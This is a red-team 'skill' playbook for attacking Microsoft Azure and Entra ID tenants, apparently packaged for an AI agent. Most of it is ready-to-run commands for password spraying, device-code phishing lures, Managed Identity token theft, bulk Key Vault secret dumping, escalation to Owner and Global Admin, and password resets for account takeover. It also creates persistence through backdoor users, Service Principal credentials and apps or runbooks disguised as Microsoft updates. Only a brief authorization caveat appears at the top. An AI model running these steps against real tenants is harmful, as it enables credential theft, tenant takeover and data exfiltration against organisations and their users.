---
name: rt-exploit-cloud-azure
description: "Azure Red Team exploitation skill. Azure AD enumeration, Service Principal abuse, Managed Identity exploitation, Azure Storage account misconfiguration, Key Vault access, App Service environment variables exposure, Azure Function exploitation, and AzureAD password spray. Tools: roadrecon, ROADtools, AzureHound, az CLI, PowerZure."
---

# rt-exploit-cloud-azure — Azure Red Team Exploitation

## 1. Overview and When to Use This Skill

This skill covers offensive operations against Microsoft Azure infrastructure and Azure Active Directory (Azure AD / Entra ID). Azure presents a uniquely large attack surface because the identity plane (Azure AD) is tightly coupled with the resource plane (ARM), and many organizations extend their on-premises Active Directory directly into the cloud. A single compromised Service Principal or OAuth token can provide access to dozens of subscriptions, storage accounts, Key Vaults, and connected SaaS applications.

**Use this skill when:**
- Scope explicitly includes Azure subscriptions, resource groups, Entra ID tenants, or Azure-hosted applications.
- You have obtained any Azure credential: access token, refresh token, client secret, certificate, or Managed Identity token.
- You have obtained a user's Microsoft 365 or Azure AD credentials from phishing, password spray, or credential stuffing.
- The engagement is a cloud security assessment, red team, or assumes-breach scenario.
- You need to demonstrate lateral movement from an Azure workload (App Service, AKS, Azure VM) into the broader tenant.
- The objective is data exfiltration from Azure Storage, Key Vault secrets, or Azure SQL.

**Do NOT use this skill when:**
- The rules of engagement exclude Azure or Microsoft 365 (verify with `rt-rules-of-engagement`).
- You do not have prior written authorization covering the specific tenant ID and subscription IDs.
- You are operating from a personal Microsoft account — always use isolated attacker infrastructure.

---

## 2. Prerequisites and Tool Installation

### 2.1 Azure CLI (az)

```bash
# Kali Linux / Debian
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash

# Manual (all Linux)
pip install azure-cli

# macOS
brew update && brew install azure-cli

# Windows (PowerShell)
winget install Microsoft.AzureCLI
# or
$ProgressPreference = 'SilentlyContinue'
Invoke-WebRequest -Uri https://aka.ms/installazurecliwindows -OutFile .\AzureCLI.msi
Start-Process msiexec.exe -Wait -ArgumentList '/I AzureCLI.msi /quiet'
```

Verify and authenticate:

```bash
az --version
az login                          # interactive browser login
az login --use-device-code        # device-code flow (no browser on attacker box)
az account list --output table    # list subscriptions
az account set --subscription "TARGET_SUBSCRIPTION_ID"
```

### 2.2 ROADtools / ROADrecon (Azure AD Enumeration)

```bash
pip3 install roadtools
roadrecon --help

# roadlib (library), roadrecon (enumeration), roadtx (token operations)
pip3 install roadlib roadrecon roadtx
```

### 2.3 AzureHound (BloodHound for Azure)

```bash
# Download latest release binary
wget https://github.com/BloodHoundAD/AzureHound/releases/latest/download/azurehound-linux-amd64.zip
unzip azurehound-linux-amd64.zip
chmod +x azurehound
./azurehound --help

# Alternative: build from source
git clone https://github.com/BloodHoundAD/AzureHound
cd AzureHound
go build .
```

### 2.4 PowerZure (Azure Offensive PowerShell Module)

```powershell
# On Windows or PowerShell Core
git clone https://github.com/hausec/PowerZure
cd PowerZure
Import-Module ./PowerZure.psd1

# Requires Az module
Install-Module -Name Az -AllowClobber -Scope CurrentUser -Force
Connect-AzAccount
```

### 2.5 MicroBurst (Azure Security Assessment)

```bash
git clone https://github.com/NetSPI/MicroBurst
cd MicroBurst
# PowerShell module — import in PS session
Import-Module ./MicroBurst.psm1
```

### 2.6 GraphSpy (Microsoft Graph API Exploitation)

```bash
git clone https://github.com/RedBirdCyber/GraphSpy
cd GraphSpy
pip3 install -r requirements.txt
python3 GraphSpy.py
```

### 2.7 TokenTactics (Token Manipulation)

```powershell
git clone https://github.com/rvrsh3ll/TokenTactics
cd TokenTactics
Import-Module ./TokenTactics.psd1
```

### 2.8 Spray365 (Azure AD Password Spray)

```bash
pip3 install spray365
# or
git clone https://github.com/MarkoH17/Spray365
cd Spray365
pip3 install -r requirements.txt
python3 spray365.py --help
```

### 2.9 MSOLSpray (Legacy MSOL Password Spray)

```powershell
git clone https://github.com/dafthack/MSOLSpray
cd MSOLSpray
Import-Module ./MSOLSpray.ps1
```

### 2.10 Stormspotter (Azure Attack Graph)

```bash
git clone https://github.com/Azure/Stormspotter
cd Stormspotter
pip3 install -r backend/requirements.txt
```

### 2.11 Supporting Tools

```bash
# jq for JSON processing
sudo apt install jq

# jwt_tool for token analysis
pip3 install jwt_tool
git clone https://github.com/ticarpi/jwt_tool

# AADInternals (PowerShell — advanced Azure AD attacks)
Install-Module AADInternals -Scope CurrentUser
Import-Module AADInternals
```

---

## 3. Skill Levels

### BEGINNER — Authenticated Enumeration and Reconnaissance

Focus: Understand what you have access to after obtaining credentials. No exploitation yet.

**Techniques:**
- List subscriptions, resource groups, and resources using az CLI
- Enumerate Azure AD users, groups, and service principals
- Identify public storage accounts and blobs
- Check current user/principal permissions
- Review App Service configuration

**Goal:** Build a complete picture of the target tenant and subscriptions before taking any exploitative action.

---

### INTERMEDIATE — Misconfiguration Exploitation and Privilege Discovery

Focus: Exploit common Azure misconfigurations to escalate privileges or access sensitive data.

**Techniques:**
- Access public/anonymous Azure Blob Storage
- Exploit overly permissive RBAC role assignments
- Read App Service environment variables via Kudu console
- Obtain Managed Identity tokens from Azure IMDS
- Read Key Vault secrets with granted access
- Abuse Service Principal credentials found in code repositories
- Perform OAuth device code phishing

**Goal:** Demonstrate real-world impact by accessing data or escalating privileges within the tenant.

---

### ADVANCED — Lateral Movement and Persistence

Focus: Move laterally across subscriptions and establish persistent access.

**Techniques:**
- Abuse Azure AD role assignments for privilege escalation
- Extract and abuse Service Principal certificates and secrets
- Pivot from Azure workloads (VMs, AKS, App Services) using Managed Identity
- Add credentials to Service Principals and Applications
- Create backdoor users and role assignments
- Exploit Azure AD Conditional Access policy gaps
- Abuse Azure Automation Runbooks for code execution
- Pass-the-PRT (Primary Refresh Token) attacks

**Goal:** Full tenant compromise with demonstrated persistence mechanisms.

---

### EXPERT — Advanced Identity Attacks and Cross-Tenant Exploitation

Focus: Sophisticated identity-plane attacks, cross-tenant pivoting, and detection evasion.

**Techniques:**
- Token replay and refresh token abuse across Microsoft services
- DCSync equivalent against Azure AD (AADConnect exploitation)
- Azure AD Connect MSOL account abuse for on-prem to cloud pivoting
- Federated identity trust abuse (ADFS, PingFederate)
- Consent phishing for OAuth application permissions
- Cross-tenant attacks via B2B guest accounts
- Azure Arc exploitation for hybrid pivot
- Abuse of Privileged Identity Management (PIM) activation
- Microsoft Graph API abuse for silent data exfiltration
- Golden SAML attacks

**Goal:** Demonstrate advanced persistent threat (APT)-level techniques with full chain documentation.

---

## 4. Step-by-Step Attack Workflow

### Phase 1: Initial Access and Credential Acquisition

**Step 1: Verify and configure credentials**

```bash
# If you have a client ID + secret (Service Principal)
az login --service-principal \
  --username "CLIENT_ID" \
  --password "CLIENT_SECRET" \
  --tenant "TENANT_ID"

# If you have a username + password (user account)
az login --username user@target.com --password 'P@ssw0rd!'

# If you have a device code (useful for MFA bypass scenarios)
az login --use-device-code

# Check who you are
az account show
az ad signed-in-user show 2>/dev/null || echo "Service Principal — no user context"
```

**Step 2: Enumerate available subscriptions**

```bash
az account list --output table
az account list --query "[].{Name:name, ID:id, State:state, Tenant:tenantId}" -o table
```

**Step 3: Identify current permissions**

```bash
# List role assignments for the current principal
az role assignment list --assignee "$(az ad signed-in-user show --query id -o tsv)" \
  --all --output table 2>/dev/null

# For a service principal
az role assignment list --assignee "SERVICE_PRINCIPAL_OBJECT_ID" --all --output table

# Check what actions you can perform
az role assignment list --all --output json | jq '.[].roleDefinitionName' | sort -u
```

---

### Phase 2: Azure AD Enumeration

**Step 4: Enumerate the tenant with ROADrecon**

```bash
# Authenticate roadrecon
roadrecon auth --username user@target.com --password 'P@ssw0rd!'
# or with a token
roadrecon auth --access-token "BEARER_TOKEN"

# Gather all Azure AD data
roadrecon gather

# Launch the web UI
roadrecon gui
# Browse to http://localhost:5000

# Export data to JSON files
roadrecon dump --all-json
```

**Step 5: AzureHound data collection for BloodHound**

```bash
# Collect with username/password
./azurehound -u "user@target.com" -p "P@ssw0rd!" list --tenant "TENANT_ID" \
  -o azurehound-output.json

# Collect with a refresh token
./azurehound -r "REFRESH_TOKEN" list --tenant "TENANT_ID" -o azurehound-output.json

# Import into BloodHound (Community Edition)
# Start BloodHound CE, go to File Upload, import azurehound-output.json
```

**Step 6: Enumerate Azure AD objects manually**

```bash
# List all users
az ad user list --output table
az ad user list --query "[].{UPN:userPrincipalName, DisplayName:displayName, Enabled:accountEnabled}" -o table

# List all groups
az ad group list --output table

# List privileged roles and members
az rest --method GET \
  --url "https://graph.microsoft.com/v1.0/directoryRoles" \
  --headers "Content-Type=application/json" | jq '.value[] | {displayName, id}'

# Get Global Administrators
az rest --method GET \
  --url "https://graph.microsoft.com/v1.0/directoryRoles" | \
  jq -r '.value[] | select(.displayName == "Global Administrator") | .id' | \
  xargs -I {} az rest --method GET \
  --url "https://graph.microsoft.com/v1.0/directoryRoles/{}/members" | \
  jq '.value[].userPrincipalName'

# List all service principals
az ad sp list --all --output table
az ad sp list --all --query "[].{DisplayName:displayName, AppID:appId, ObjectID:id}" -o table

# Find service principals with credentials
az ad sp list --all --query "[?length(passwordCredentials) > \`0\`].displayName" -o table
```

---

### Phase 3: Resource Enumeration

**Step 7: Enumerate all resources across subscriptions**

```bash
# List all resource groups
az group list --output table

# List ALL resources in subscription
az resource list --output table
az resource list --query "[].{Name:name, Type:type, RG:resourceGroup, Location:location}" -o table

# Save to file for analysis
az resource list --output json > azure-resources.json
cat azure-resources.json | jq -r '.[] | "\(.type)\t\(.name)\t\(.resourceGroup)"' | sort
```

**Step 8: Enumerate storage accounts**

```bash
# List all storage accounts
az storage account list --output table
az storage account list --query "[].{Name:name, RG:resourceGroup, AllowBlobPublicAccess:allowBlobPublicAccess, HTTPSOnly:supportsHttpsTrafficOnly}" -o table

# Check for public access
az storage account list --query "[?allowBlobPublicAccess==\`true\`].name" -o table

# List containers in a storage account
az storage container list --account-name "STORAGE_ACCOUNT_NAME" --output table

# List blobs in a public container (no auth required)
az storage blob list \
  --account-name "STORAGE_ACCOUNT_NAME" \
  --container-name "CONTAINER_NAME" \
  --output table \
  --auth-mode login

# Download a blob
az storage blob download \
  --account-name "STORAGE_ACCOUNT_NAME" \
  --container-name "CONTAINER_NAME" \
  --name "sensitive-file.txt" \
  --file "./loot/sensitive-file.txt" \
  --auth-mode login
```

**Step 9: Enumerate Key Vaults**

```bash
# List all Key Vaults
az keyvault list --output table

# List secrets in a Key Vault (requires access policy or RBAC permission)
az keyvault secret list --vault-name "TARGET_VAULT" --output table

# Retrieve a secret value
az keyvault secret show \
  --vault-name "TARGET_VAULT" \
  --name "SECRET_NAME" \
  --query "value" -o tsv

# List all certificates
az keyvault certificate list --vault-name "TARGET_VAULT" --output table

# List all keys
az keyvault key list --vault-name "TARGET_VAULT" --output table

# Check Key Vault access policies (who has access)
az keyvault show --name "TARGET_VAULT" \
  --query "properties.accessPolicies[].{ObjectID:objectId, Secrets:permissions.secrets}" -o table
```

**Step 10: Enumerate App Services**

```bash
# List all App Services
az webapp list --output table
az webapp list --query "[].{Name:name, RG:resourceGroup, State:state, DefaultHostName:defaultHostName}" -o table

# Get App Service configuration (may include connection strings, env vars)
az webapp config appsettings list \
  --name "APP_NAME" \
  --resource-group "RESOURCE_GROUP" \
  --output table

# Get connection strings
az webapp config connection-string list \
  --name "APP_NAME" \
  --resource-group "RESOURCE_GROUP" \
  --output table

# Check if deployment credentials are accessible
az webapp deployment list-publishing-credentials \
  --name "APP_NAME" \
  --resource-group "RESOURCE_GROUP" \
  --query "{publishingUsername:publishingUserName, publishingPassword:publishingPassword}" -o json
```

---

### Phase 4: Exploitation

**Step 11: Azure IMDS — Managed Identity Token Theft**

If you have code execution on an Azure VM, App Service, or Azure Function:

```bash
# On the target Azure compute resource (VM, App Service, etc.)
# Obtain Managed Identity token from IMDS
curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2019-08-01&resource=https://management.azure.com/" \
  | python3 -m json.tool

# Save the access token
ACCESS_TOKEN=$(curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2019-08-01&resource=https://management.azure.com/" \
  | jq -r '.access_token')

echo $ACCESS_TOKEN

# Get token for Microsoft Graph
GRAPH_TOKEN=$(curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2019-08-01&resource=https://graph.microsoft.com/" \
  | jq -r '.access_token')

# Get token for Key Vault
KV_TOKEN=$(curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2019-08-01&resource=https://vault.azure.net" \
  | jq -r '.access_token')

# Use the ARM token to enumerate resources
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
  "https://management.azure.com/subscriptions?api-version=2020-01-01" | jq '.value[].id'

# Use the token with az CLI
az account get-access-token --resource https://management.azure.com
# Then set it manually for roadrecon or other tools
```

**Step 12: Abuse App Service environment variables via Kudu console**

```bash
# Kudu is the App Service deployment engine — accessible at:
# https://APP_NAME.scm.azurewebsites.net

# If you have deployment credentials or can authenticate:
curl -u "PUBLISHING_USER:PUBLISHING_PASSWORD" \
  "https://APP_NAME.scm.azurewebsites.net/api/environment" \
  | python3 -m json.tool

# Or use the Kudu REST API to run commands
curl -X POST \
  -u "PUBLISHING_USER:PUBLISHING_PASSWORD" \
  -H "Content-Type: application/json" \
  -d '{"command": "env", "dir": "/"}' \
  "https://APP_NAME.scm.azurewebsites.net/api/command" \
  | python3 -m json.tool

# Access the process environment (dumps all env vars including secrets)
curl -u "PUBLISHING_USER:PUBLISHING_PASSWORD" \
  "https://APP_NAME.scm.azurewebsites.net/api/processes/1/environments" \
  | python3 -m json.tool
```

**Step 13: Azure AD Password Spray**

```bash
# Spray365 — intelligent Azure AD spray with lockout protection
# First, generate a spray plan
python3 spray365.py generate \
  --count 1 \
  --password 'Winter2024!' \
  -sf users.txt \
  -o spray-plan.s365

# Execute the spray (respects lockout thresholds)
python3 spray365.py spray -sf spray-plan.s365

# Multi-password spray
python3 spray365.py generate \
  --count 3 \
  --password 'Winter2024!' 'Spring2024!' 'Company123!' \
  -sf users.txt \
  -o spray-plan-multi.s365

python3 spray365.py spray -sf spray-plan-multi.s365 --delay 30 --jitter 15
```

```powershell
# MSOLSpray (PowerShell)
Invoke-MSOLSpray -UserList .\users.txt -Password "Winter2024!" -Verbose

# With delay to avoid lockout
Invoke-MSOLSpray -UserList .\users.txt -Password "Winter2024!" -Delay 30
```

**Step 14: OAuth Device Code Phishing**

```bash
# Using TokenTactics to initiate device code flow
Import-Module ./TokenTactics.psd1
Get-AzureToken -Client MSGraph

# The tool generates a device code — send the URL and code to victim via phishing
# When victim authenticates, you receive the token

# Alternatively, use roadtx
roadtx device -c "29d9ed98-a469-4536-ade2-f981bc1d605e"
# roadtx outputs: Go to https://microsoft.com/devicelogin and enter code XXXXXXXX
# Once victim logs in, you get tokens
```

**Step 15: Service Principal credential abuse**

```bash
# If you found a client secret in source code or environment variables:
CLIENT_ID="xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
CLIENT_SECRET="FOUND_SECRET"
TENANT_ID="xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"

# Get an access token
curl -s -X POST \
  "https://login.microsoftonline.com/$TENANT_ID/oauth2/v2.0/token" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=client_credentials&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&scope=https://graph.microsoft.com/.default" \
  | jq '.'

# Login with az CLI using service principal
az login --service-principal \
  -u "$CLIENT_ID" \
  -p "$CLIENT_SECRET" \
  --tenant "$TENANT_ID"

# Enumerate what this SP can access
az role assignment list --assignee "$CLIENT_ID" --all -o table
```

**Step 16: Key Vault secret exfiltration**

```bash
# List all secrets
az keyvault secret list --vault-name "TARGET_VAULT" -o json | jq -r '.[].name'

# Dump ALL secrets from a vault
for secret in $(az keyvault secret list --vault-name "TARGET_VAULT" -o json | jq -r '.[].name'); do
  echo "=== $secret ==="
  az keyvault secret show --vault-name "TARGET_VAULT" --name "$secret" --query "value" -o tsv
done

# Direct REST API call with a token
KV_TOKEN="TOKEN_WITH_KEY_VAULT_SCOPE"
curl -s -H "Authorization: Bearer $KV_TOKEN" \
  "https://TARGET_VAULT.vault.azure.net/secrets?api-version=7.3" | jq '.value[].id'

curl -s -H "Authorization: Bearer $KV_TOKEN" \
  "https://TARGET_VAULT.vault.azure.net/secrets/SECRET_NAME?api-version=7.3" | jq '.value'
```

---

### Phase 5: Privilege Escalation

**Step 17: Identify privilege escalation paths**

```bash
# Check for Owner or Contributor role on subscription
az role assignment list --all \
  --query "[?roleDefinitionName=='Owner' || roleDefinitionName=='Contributor']" \
  --output table

# Check for User Access Administrator (can grant any role)
az role assignment list --all \
  --query "[?roleDefinitionName=='User Access Administrator']" \
  --output table

# Check for privileged Azure AD roles
az rest --method GET \
  --url "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments?\$expand=principal" \
  | jq '.value[] | {role: .roleDefinitionId, principal: .principal.userPrincipalName}'
```

**Step 18: Escalate via User Access Administrator**

```bash
# If you have User Access Administrator, grant yourself Owner
SUBSCRIPTION_ID="$(az account show --query id -o tsv)"
YOUR_OBJECT_ID="$(az ad signed-in-user show --query id -o tsv)"

az role assignment create \
  --assignee "$YOUR_OBJECT_ID" \
  --role "Owner" \
  --scope "/subscriptions/$SUBSCRIPTION_ID"

# Verify
az role assignment list --assignee "$YOUR_OBJECT_ID" --all -o table
```

**Step 19: Add credentials to Service Principal (backdoor)**

```bash
# Add a new password to an existing Service Principal
az ad sp credential reset \
  --id "SERVICE_PRINCIPAL_OBJECT_ID" \
  --password "NewBackdoorPassword123!" \
  --years 2

# Add a new credential without removing existing ones
az ad app credential reset \
  --id "APPLICATION_OBJECT_ID" \
  --append \
  --years 2
```

**Step 20: Azure Automation Runbook code execution**

```bash
# List Automation Accounts
az automation account list --output table

# List Runbooks
az automation runbook list \
  --automation-account-name "AUTOMATION_ACCOUNT" \
  --resource-group "RESOURCE_GROUP" \
  --output table

# Create a malicious runbook
cat > malicious-runbook.ps1 <<'EOF'
# Get Managed Identity token
$response = Invoke-WebRequest -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2019-08-01&resource=https://management.azure.com/" -Headers @{Metadata="true"}
$token = ($response.Content | ConvertFrom-Json).access_token
Write-Output "TOKEN: $token"

# Or enumerate resources
Connect-AzAccount -Identity
Get-AzResource | Select-Object Name, ResourceType, ResourceGroupName
EOF

az automation runbook create \
  --automation-account-name "AUTOMATION_ACCOUNT" \
  --resource-group "RESOURCE_GROUP" \
  --name "SystemUpdate" \
  --type PowerShell \
  --description "System maintenance"

az automation runbook replace-content \
  --automation-account-name "AUTOMATION_ACCOUNT" \
  --resource-group "RESOURCE_GROUP" \
  --name "SystemUpdate" \
  --content @malicious-runbook.ps1

az automation runbook publish \
  --automation-account-name "AUTOMATION_ACCOUNT" \
  --resource-group "RESOURCE_GROUP" \
  --name "SystemUpdate"

az automation runbook start \
  --automation-account-name "AUTOMATION_ACCOUNT" \
  --resource-group "RESOURCE_GROUP" \
  --name "SystemUpdate"
```

---

### Phase 6: Persistence

**Step 21: Create a backdoor user**

```bash
# Create a new Azure AD user
az ad user create \
  --display-name "IT Support Admin" \
  --user-principal-name "itsupport@TARGET_DOMAIN.onmicrosoft.com" \
  --password "BackdoorPass123!" \
  --force-change-password-next-sign-in false

# Get the new user's object ID
NEW_USER_ID=$(az ad user show \
  --id "itsupport@TARGET_DOMAIN.onmicrosoft.com" \
  --query id -o tsv)

# Assign Global Administrator role (requires Global Admin or Privileged Role Admin)
az rest --method POST \
  --url "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" \
  --headers "Content-Type=application/json" \
  --body "{\"@odata.type\": \"#microsoft.graph.unifiedRoleAssignment\", \"roleDefinitionId\": \"62e90394-69f5-4237-9190-012177145e10\", \"principalId\": \"$NEW_USER_ID\", \"directoryScopeId\": \"/\"}"
```

**Step 22: Register a backdoor application**

```bash
# Create a new application registration
az ad app create \
  --display-name "Microsoft Graph Connector" \
  --sign-in-audience AzureADMyOrg

APP_ID=$(az ad app list --display-name "Microsoft Graph Connector" --query "[0].appId" -o tsv)
APP_OBJECT_ID=$(az ad app list --display-name "Microsoft Graph Connector" --query "[0].id" -o tsv)

# Create a service principal for it
az ad sp create --id "$APP_ID"

# Add a password credential
az ad app credential reset --id "$APP_OBJECT_ID" --years 2

# Grant application permissions (requires admin consent for sensitive scopes)
# This grants Directory.ReadWrite.All
az ad app permission add \
  --id "$APP_OBJECT_ID" \
  --api "00000003-0000-0000-c000-000000000000" \
  --api-permissions "19dbc75e-c2e2-444c-a770-ec69d8559fc7=Role"

# Grant admin consent (requires Global Admin)
az ad app permission admin-consent --id "$APP_OBJECT_ID"
```

---

## 5. Azure AD Password Spray — Full Workflow

```bash
# Step 1: Gather target email addresses from OSINT
# LinkedIn scraping, hunter.io, company website
# Format: user@target.com, one per line
cat > users.txt <<EOF
john.smith@targetcorp.com
jane.doe@targetcorp.com
admin@targetcorp.com
EOF

# Step 2: Validate which users exist (user enumeration via login page timing)
# Use o365spray for user enumeration
pip3 install o365spray
python3 o365spray.py --validate --domain targetcorp.com
python3 o365spray.py --enum -U users.txt --domain targetcorp.com

# Step 3: Identify the tenant ID and federation type
python3 o365spray.py --validate --domain targetcorp.com
# Or:
curl -s "https://login.microsoftonline.com/targetcorp.com/.well-known/openid-configuration" \
  | jq -r '.issuer' # Contains tenant ID

# Step 4: Check if tenant uses ADFS (federated) or Managed auth
curl -s "https://login.microsoftonline.com/common/userrealm/user@targetcorp.com?api-version=1.0" \
  | jq '{NameSpaceType, AuthURL, DomainName}'
# NameSpaceType: "Managed" = cloud-only, "Federated" = ADFS

# Step 5: Perform the spray (never exceed 1 attempt per user per 30 minutes)
python3 spray365.py generate \
  --count 1 \
  --password 'Autumn2024!' \
  -sf users.txt \
  -o spray-plan.s365

python3 spray365.py spray -sf spray-plan.s365 --delay 60 --jitter 30

# Step 6: Use valid credentials
az login --username "found.user@targetcorp.com" --password "Autumn2024!"
```

---

## 6. Real Attack Scenarios

### Scenario A: GitHub Repo to Full Tenant Compromise

**Context:** Azure Service Principal credentials found in a public GitHub repository's commit history.

```bash
# Step 1: Extract credentials from git history
git clone https://github.com/TARGET_ORG/TARGET_REPO
cd TARGET_REPO
git log --all --oneline
git show COMMIT_HASH -- config/azure.json

# Found: CLIENT_ID, CLIENT_SECRET, TENANT_ID

# Step 2: Authenticate as the Service Principal
az login --service-principal \
  -u "CLIENT_ID" \
  -p "CLIENT_SECRET" \
  --tenant "TENANT_ID"

# Step 3: Identify the SP's role assignments
CLIENT_OBJECT_ID=$(az ad sp show --id "CLIENT_ID" --query id -o tsv)
az role assignment list --assignee "$CLIENT_OBJECT_ID" --all -o table
# Found: Contributor on subscription

# Step 4: Enumerate all resources
az resource list -o table > all-resources.txt

# Step 5: Target Key Vaults
az keyvault list -o table
for secret in $(az keyvault secret list --vault-name "prod-kv" -o json | jq -r '.[].name'); do
  echo "=== $secret ==="
  az keyvault secret show --vault-name "prod-kv" --name "$secret" -q "value" -o tsv
done
# Found: Database connection strings, API keys, admin passwords

# Step 6: Access Storage Accounts with sensitive data
az storage account list -o table
az storage container list --account-name "prodstorageacct" --auth-mode login -o table
az storage blob list \
  --account-name "prodstorageacct" \
  --container-name "backups" \
  --auth-mode login -o table

# Download backup files
az storage blob download \
  --account-name "prodstorageacct" \
  --container-name "backups" \
  --name "db-backup-2024-01-15.sql.gz" \
  --file "./loot/db-backup.sql.gz" \
  --auth-mode login

# Step 7: Check if SP can create new SP credentials (backdoor)
az ad sp credential reset --id "$CLIENT_OBJECT_ID" --append --years 2
# Document new credentials for persistence

# Step 8: Document the full chain
echo "Chain: GitHub repo leak -> SP Contributor -> Key Vault secrets + Storage data"
```

---

### Scenario B: Phishing to Azure AD via Device Code

**Context:** No initial credentials. Target uses Microsoft 365. Goal: compromise a high-privilege account.

```bash
# Step 1: Identify target email addresses
# OSINT via LinkedIn, company website, email format guessing

# Step 2: Perform user enumeration
python3 o365spray.py --enum -U targets.txt --domain targetcorp.com -o valid-users.txt

# Step 3: Initiate device code phishing
# In PowerShell with TokenTactics:
Import-Module ./TokenTactics.psd1
Get-AzureToken -Client MSGraph
# Output: Go to https://microsoft.com/devicelogin and enter code: XXXXXXXX
# Craft a phishing email:
# "Your Microsoft account needs verification. Go to https://microsoft.com/devicelogin and enter code XXXXXXXX"

# Step 4: Wait for victim to authenticate
# TokenTactics automatically captures the token when victim authenticates

# Step 5: Use captured refresh token for persistent access
$RefreshToken = "CAPTURED_REFRESH_TOKEN"

# Refresh for different resource scopes
Invoke-RefreshToAzureManagementToken -domain "targetcorp.com" -refreshToken $RefreshToken
Invoke-RefreshToMSGraphToken -domain "targetcorp.com" -refreshToken $RefreshToken
Invoke-RefreshToSharePointToken -domain "targetcorp.com" -refreshToken $RefreshToken

# Step 6: Enumerate with the Graph token
$GraphToken = "GRAPH_ACCESS_TOKEN"

# Who am I?
curl -s -H "Authorization: Bearer $GraphToken" \
  "https://graph.microsoft.com/v1.0/me" | jq '{displayName, userPrincipalName, jobTitle}'

# Am I a Global Admin?
curl -s -H "Authorization: Bearer $GraphToken" \
  "https://graph.microsoft.com/v1.0/me/memberOf" | \
  jq '.value[] | select(.displayName == "Global Administrators")'

# Step 7: If GA, enumerate ALL users and reset passwords
curl -s -H "Authorization: Bearer $GraphToken" \
  "https://graph.microsoft.com/v1.0/users?\$top=100" | jq '.value[].userPrincipalName'

# Reset a target user's password
TARGET_USER_ID="USER_OBJECT_ID"
curl -X PATCH \
  -H "Authorization: Bearer $GraphToken" \
  -H "Content-Type: application/json" \
  -d '{"passwordProfile": {"password": "NewP@ssw0rd!", "forceChangePasswordNextSignIn": false}}' \
  "https://graph.microsoft.com/v1.0/users/$TARGET_USER_ID"

# Step 8: Access SharePoint/OneDrive for data exfiltration
curl -s -H "Authorization: Bearer $SHAREPOINT_TOKEN" \
  "https://targetcorp.sharepoint.com/_api/web/lists" | jq '.value[].Title'
```

---

### Scenario C: Compromised Azure VM to Tenant Persistence via Managed Identity

**Context:** RCE obtained on an Azure VM via web application vulnerability. Goal: tenant-wide persistence.

```bash
# Step 1: From the compromised VM, check for Managed Identity
curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | python3 -m json.tool

# Step 2: Obtain ARM and Graph tokens
ARM_TOKEN=$(curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2019-08-01&resource=https://management.azure.com/" \
  | jq -r '.access_token')

GRAPH_TOKEN=$(curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2019-08-01&resource=https://graph.microsoft.com/" \
  | jq -r '.access_token')

# Step 3: Identify current identity and role
curl -s -H "Authorization: Bearer $ARM_TOKEN" \
  "https://management.azure.com/subscriptions?api-version=2020-01-01" | jq '.value[].id'

# Decode the token to see assigned roles
echo $ARM_TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool

# Step 4: Check role assignments for this identity
SUBSCRIPTION_ID="YOUR_SUBSCRIPTION_ID"
IDENTITY_PRINCIPAL_ID="MANAGED_IDENTITY_OBJECT_ID"

curl -s -H "Authorization: Bearer $ARM_TOKEN" \
  "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01&\$filter=principalId+eq+'$IDENTITY_PRINCIPAL_ID'" \
  | jq '.value[].properties | {role: .roleDefinitionId, scope: .scope}'

# Step 5: If Contributor or higher, enumerate Key Vaults and extract secrets
KV_TOKEN=$(curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2019-08-01&resource=https://vault.azure.net" \
  | jq -r '.access_token')

# List all Key Vaults in subscription
curl -s -H "Authorization: Bearer $ARM_TOKEN" \
  "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/providers/Microsoft.KeyVault/vaults?api-version=2022-07-01" \
  | jq '.value[].name'

# Dump secrets from accessible vault
VAULT_NAME="prod-keyvault"
curl -s -H "Authorization: Bearer $KV_TOKEN" \
  "https://$VAULT_NAME.vault.azure.net/secrets?api-version=7.3" | jq '.value[].id'

for secret_id in $(curl -s -H "Authorization: Bearer $KV_TOKEN" \
  "https://$VAULT_NAME.vault.azure.net/secrets?api-version=7.3" | jq -r '.value[].id'); do
  secret_name=$(basename $secret_id)
  secret_value=$(curl -s -H "Authorization: Bearer $KV_TOKEN" \
    "$secret_id?api-version=7.3" | jq -r '.value')
  echo "$secret_name: $secret_value"
done

# Step 6: Use Graph token to add backdoor app (if identity has Azure AD permissions)
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
  "https://graph.microsoft.com/v1.0/me" | jq .

# Create new application
curl -X POST \
  -H "Authorization: Bearer $GRAPH_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"displayName": "Microsoft Security Update", "signInAudience": "AzureADMyOrg"}' \
  "https://graph.microsoft.com/v1.0/applications" | jq .

# Step 7: Exfiltrate data before cleaning up
# Download from accessible storage to attacker C2
curl -s -H "Authorization: Bearer $ARM_TOKEN" \
  "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/providers/Microsoft.Storage/storageAccounts?api-version=2023-01-01" \
  | jq '.value[].name'
```

---

## 7. OPSEC Considerations

### 7.1 Detection Risks

**High-detection activities (avoid or perform during authorized windows):**
- Azure AD password spray — triggers Identity Protection risk events and sign-in log anomalies
- Mass enumeration with az CLI — generates high-volume audit log entries
- Key Vault secret access — every read is logged in Key Vault diagnostic logs
- Adding credentials to Service Principals — triggers Azure AD audit logs
- Creating new users or applications — immediately visible in Azure AD audit logs
